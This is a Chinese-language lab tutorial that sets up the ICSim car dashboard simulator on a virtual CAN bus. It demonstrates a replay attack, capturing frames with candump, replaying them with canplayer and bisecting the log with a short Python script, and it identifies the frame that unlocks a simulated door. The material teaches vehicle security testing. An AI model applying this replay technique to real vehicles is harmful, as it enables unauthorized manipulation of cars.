环境搭建
- ICSim(仪表盘模拟器)
- Socketcand(CAN网络)
- Kayak(一款基于SocketCAN的CAN总线分析工具)
ICSim安装
# 安装依赖
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y
# 下载ICSim
git clone https://github.com/zombieCraig/ICSim.git
# 编译安装
cd ICSim/
sudo make
socketcand安装
# 下载socketcand
git clone https://github.com/linux-can/socketcand.git
cd socketcand# 获取缺少的文件
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in# 编译安装
autoconf
./configure
make clean
make
sudo make install
Kayak安装
# 下载
git clone https://github.com/dschanoeh/Kayak.git
# 安装jdk
sudo apt-get install openjdk-8-jdk
# 安装
cd Kayak
mvn clean package
Kayak安装时间会很久,等待许久之后,终于安装成功:
启动模拟器
# 设置vcan(虚拟CAN)接口
sudo modprobe can
sudo modprobe vcan
# ip link 命令启动 can 接口
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
cd Icsim/
# 打开仪表盘模拟器
./icsim vcan0
# 打开仪表盘控制器
./controls vcan0
光标放在控制器界面上,就可以对模拟器进行操作:
功能 | 控制按钮 |
---|---|
转向 | 键盘左右 |
速度 | 键盘上下 |
开/关左前车门 | 右shift/左shit+A |
开/关右前车门 | 右shift/左shit+B |
开/关左后车门 | 右shift/左shit+X |
开/关右后车门 | 右shift/左shit+Y |
开启全部车门 | 左shift+右shift |
关闭全部车门 | 右shift+左shift |
canplayer重放攻击
原理就是利用candump监听模拟器操作的数据包,再利用canplayer集合数据包重新回放一遍监听到的操作。
首先candump vcan0 -l
开启监听:
root@ubuntu:~# candump vcan0 -l
Disabled standard output while logging.
Enabling Logfile 'candump-2023-03-20_135818.log'
candump运行之后一直监听数据。
这时在模拟器模拟操作右Shift+A开启左前侧车门:
然后终端退出candump监听,查看candump-2023-03-20_135818.log,会发现有很多数据:
将车门闭合后,运行canplayer -I candump-2023-03-20_135818.log
,观察模拟器状态,会发现模拟器自动将车门开启:
接着使用二分法对数据包进行分析,找出具体哪个包可以使车门打开:
# 读取test.log文件行数
with open('candump.log', 'r') as f:
lines = f.readlines()
num_lines = len(lines)
# 使用二分法将内容分别输出到两个新文件
midpoint = num_lines // 2
with open('file1.log', 'w') as f1, open('file2.log', 'w') as f2:
for i, line in enumerate(lines):
if i < midpoint:
f1.write(line)
else:
f2.write(line)
二分法就是将数据分成两半,分别对数据进行测试,然后对模拟器有反应的一半再继续进行分裂,循环往复。
最终能确定使车门打开的数据包为:(1679293970.363015) vcan0 19B#00000E000000